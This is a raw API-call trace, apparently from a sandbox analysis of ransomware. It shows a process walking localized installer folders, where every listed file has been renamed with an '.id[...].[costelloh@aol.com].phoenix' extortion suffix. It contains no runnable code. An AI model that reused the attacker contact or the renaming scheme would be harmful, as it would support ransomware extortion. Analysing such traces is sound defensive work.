	[0219.085] FindNextFileW (in: hFindFile=0x1393a0, lpFindFileData=0x288f268 | out: lpFindFileData=0x288f268*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0219.085] FindNextFileW (in: hFindFile=0x1393a0, lpFindFileData=0x288f268 | out: lpFindFileData=0x288f268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3da3ae53, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3da3ae53, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3daad4e7, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0xec2, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="EULART~1.PHO")) returned 1
	[0219.086] FindNextFileW (in: hFindFile=0x1393a0, lpFindFileData=0x288f268 | out: lpFindFileData=0x288f268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3daad4e7, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3daad4e7, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3db23237, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x14522, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="LOCALI~1.PHO")) returned 1
	[0219.086] FindNextFileW (in: hFindFile=0x1393a0, lpFindFileData=0x288f268 | out: lpFindFileData=0x288f268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d067782, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3d067782, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3d08efe2, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x4a62, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="SETUPR~1.PHO")) returned 1
	[0219.086] FindNextFileW (in: hFindFile=0x1393a0, lpFindFileData=0x288f268 | out: lpFindFileData=0x288f268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d067782, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3d067782, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3d08efe2, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x4a62, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="SETUPR~1.PHO")) returned 0
	[0219.086] FindClose (in: hFindFile=0x1393a0 | out: hFindFile=0x1393a0) returned 1
	[0219.089] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x760060 | out: hHeap=0x680000) returned 1
	[0219.090] FindNextFileW (in: hFindFile=0x138fe0, lpFindFileData=0x288f4ec | out: lpFindFileData=0x288f4ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1037", cAlternateFileName="")) returned 1
	[0219.094] GetLastError () returned 0x12
	[0219.094] SetLastError (dwErrCode=0x12) 
	[0219.097] GetLastError () returned 0x12
	[0219.099] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1037\\*", lpFindFileData=0x288f268 | out: lpFindFileData=0x288f268*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139560
	[0219.119] FindNextFileW (in: hFindFile=0x139560, lpFindFileData=0x288f268 | out: lpFindFileData=0x288f268*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0219.121] FindNextFileW (in: hFindFile=0x139560, lpFindFileData=0x288f268 | out: lpFindFileData=0x288f268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dafbd06, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3dafbd06, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3db74d2d, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x1bc2, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="EULART~1.PHO")) returned 1
	[0219.121] GetLastError () returned 0x12
	[0219.121] FindNextFileW (in: hFindFile=0x139560, lpFindFileData=0x288f268 | out: lpFindFileData=0x288f268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3db45e95, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3db45e95, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3db93d41, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x11a92, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="LOCALI~1.PHO")) returned 1
	[0219.121] GetLastError () returned 0x12
	[0219.121] FindNextFileW (in: hFindFile=0x139560, lpFindFileData=0x288f268 | out: lpFindFileData=0x288f268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d067782, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3d067782, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3d444fa2, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x4262, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="SETUPR~1.PHO")) returned 1
	[0219.121] GetLastError () returned 0x12
	[0219.121] FindNextFileW (in: hFindFile=0x139560, lpFindFileData=0x288f268 | out: lpFindFileData=0x288f268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d067782, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3d067782, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3d444fa2, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x4262, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="SETUPR~1.PHO")) returned 0
	[0219.121] FindClose (in: hFindFile=0x139560 | out: hFindFile=0x139560) returned 1
	[0219.122] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x760060 | out: hHeap=0x680000) returned 1
	[0219.122] FindNextFileW (in: hFindFile=0x138fe0, lpFindFileData=0x288f4ec | out: lpFindFileData=0x288f4ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1038", cAlternateFileName="")) returned 1
	[0219.124] GetLastError () returned 0x12
	[0219.124] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1038\\*", lpFindFileData=0x288f268 | out: lpFindFileData=0x288f268*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139560
	[0219.125] FindNextFileW (in: hFindFile=0x139560, lpFindFileData=0x288f268 | out: lpFindFileData=0x288f268*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0219.125] FindNextFileW (in: hFindFile=0x139560, lpFindFileData=0x288f268 | out: lpFindFileData=0x288f268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3db74d2d, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3db74d2d, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3dbb8628, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x1192, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="EULART~1.PHO")) returned 1
	[0219.125] GetLastError () returned 0x12
	[0219.125] FindNextFileW (in: hFindFile=0x139560, lpFindFileData=0x288f268 | out: lpFindFileData=0x288f268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dbb8628, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3dbb8628, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3dc06236, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x152b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="LOCALI~1.PHO")) returned 1
	[0219.125] GetLastError () returned 0x12
	[0219.125] FindNextFileW (in: hFindFile=0x139560, lpFindFileData=0x288f268 | out: lpFindFileData=0x288f268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d08efe2, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3d08efe2, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3d4a0c61, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x4a62, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="SETUPR~1.PHO")) returned 1
	[0219.125] GetLastError () returned 0x12
	[0219.125] FindNextFileW (in: hFindFile=0x139560, lpFindFileData=0x288f268 | out: lpFindFileData=0x288f268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d08efe2, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3d08efe2, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3d4a0c61, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x4a62, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="SETUPR~1.PHO")) returned 0
	[0219.125] FindClose (in: hFindFile=0x139560 | out: hFindFile=0x139560) returned 1
	[0219.126] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x760060 | out: hHeap=0x680000) returned 1
	[0219.126] FindNextFileW (in: hFindFile=0x138fe0, lpFindFileData=0x288f4ec | out: lpFindFileData=0x288f4ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1040", cAlternateFileName="")) returned 1
	[0219.126] GetLastError () returned 0x12
	[0219.126] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1040\\*", lpFindFileData=0x288f268 | out: lpFindFileData=0x288f268*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1393a0
	[0219.127] FindNextFileW (in: hFindFile=0x1393a0, lpFindFileData=0x288f268 | out: lpFindFileData=0x288f268*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0219.127] FindNextFileW (in: hFindFile=0x1393a0, lpFindFileData=0x288f268 | out: lpFindFileData=0x288f268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dc77068, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3dc77068, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3dd18be5, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0xf32, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="EULART~1.PHO")) returned 1
	[0219.127] GetLastError () returned 0x12
	[0219.128] FindNextFileW (in: hFindFile=0x1393a0, lpFindFileData=0x288f268 | out: lpFindFileData=0x288f268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dc77068, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3dc77068, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3dcc4f87, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x139c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="LOCALI~1.PHO")) returned 1
	[0219.128] GetLastError () returned 0x12
	[0219.128] FindNextFileW (in: hFindFile=0x1393a0, lpFindFileData=0x288f268 | out: lpFindFileData=0x288f268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d59c5c6, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3d59c5c6, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3d68129d, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x4862, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="SETUPR~1.PHO")) returned 1
	[0219.128] GetLastError () returned 0x12
	[0219.128] FindNextFileW (in: hFindFile=0x1393a0, lpFindFileData=0x288f268 | out: lpFindFileData=0x288f268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d59c5c6, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3d59c5c6, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3d68129d, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x4862, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="SETUPR~1.PHO")) returned 0
	[0219.128] FindClose (in: hFindFile=0x1393a0 | out: hFindFile=0x1393a0) returned 1
	[0219.129] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x760060 | out: hHeap=0x680000) returned 1
	[0219.129] FindNextFileW (in: hFindFile=0x138fe0, lpFindFileData=0x288f4ec | out: lpFindFileData=0x288f4ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1041", cAlternateFileName="")) returned 1
	[0219.129] GetLastError () returned 0x12
	[0219.129] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1041\\*", lpFindFileData=0x288f268 | out: lpFindFileData=0x288f268*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139560
	[0219.130] FindNextFileW (in: hFindFile=0x139560, lpFindFileData=0x288f268 | out: lpFindFileData=0x288f268*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0219.130] FindNextFileW (in: hFindFile=0x139560, lpFindFileData=0x288f268 | out: lpFindFileData=0x288f268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dcc4f87, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3dcc4f87, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3de4fe25, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x2882, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="EULART~1.PHO")) returned 1
	[0219.130] GetLastError () returned 0x12
	[0219.130] FindNextFileW (in: hFindFile=0x139560, lpFindFileData=0x288f268 | out: lpFindFileData=0x288f268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dd18be5, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3dd18be5, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3de66f05, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x10b92, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="LOCALI~1.PHO")) returned 1
	[0219.130] GetLastError () returned 0x12
	[0219.130] FindNextFileW (in: hFindFile=0x139560, lpFindFileData=0x288f268 | out: lpFindFileData=0x288f268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d59c5c6, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3d59c5c6, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3d68129d, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x3e62, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="SETUPR~1.PHO")) returned 1
	[0219.130] GetLastError () returned 0x12
	[0219.130] FindNextFileW (in: hFindFile=0x139560, lpFindFileData=0x288f268 | out: lpFindFileData=0x288f268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d59c5c6, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3d59c5c6, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3d68129d, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x3e62, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="SETUPR~1.PHO")) returned 0
	[0219.131] FindClose (in: hFindFile=0x139560 | out: hFindFile=0x139560) returned 1
	[0219.131] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x760060 | out: hHeap=0x680000) returned 1
	[0219.131] FindNextFileW (in: hFindFile=0x138fe0, lpFindFileData=0x288f4ec | out: lpFindFileData=0x288f4ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1042", cAlternateFileName="")) returned 1
	[0219.131] GetLastError () returned 0x12
	[0219.132] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1042\\*", lpFindFileData=0x288f268 | out: lpFindFileData=0x288f268*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1393a0
	[0219.132] FindNextFileW (in: hFindFile=0x1393a0, lpFindFileData=0x288f268 | out: lpFindFileData=0x288f268*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0219.133] FindNextFileW (in: hFindFile=0x1393a0, lpFindFileData=0x288f268 | out: lpFindFileData=0x288f268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3de66f05, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3de66f05, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3ded97ed, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x3282, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="EULART~1.PHO")) returned 1
	[0219.133] GetLastError () returned 0x12
	[0219.133] FindNextFileW (in: hFindFile=0x1393a0, lpFindFileData=0x288f268 | out: lpFindFileData=0x288f268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3de66f05, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3de66f05, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3deb3310, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0xffe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="LOCALI~1.PHO")) returned 1
	[0219.133] GetLastError () returned 0x12
	[0219.133] FindNextFileW (in: hFindFile=0x1393a0, lpFindFileData=0x288f268 | out: lpFindFileData=0x288f268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d68129d, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3d68129d, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3d6f3c8d, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x3c62, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="SETUPR~1.PHO")) returned 1
	[0219.133] GetLastError () returned 0x12
	[0219.133] FindNextFileW (in: hFindFile=0x1393a0, lpFindFileData=0x288f268 | out: lpFindFileData=0x288f268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d68129d, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3d68129d, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3d6f3c8d, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x3c62, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="SETUPR~1.PHO")) returned 0
	[0219.133] FindClose (in: hFindFile=0x1393a0 | out: hFindFile=0x1393a0) returned 1
	[0219.134] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x760060 | out: hHeap=0x680000) returned 1
	[0219.134] FindNextFileW (in: hFindFile=0x138fe0, lpFindFileData=0x288f4ec | out: lpFindFileData=0x288f4ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1043", cAlternateFileName="")) returned 1
	[0219.134] GetLastError () returned 0x12
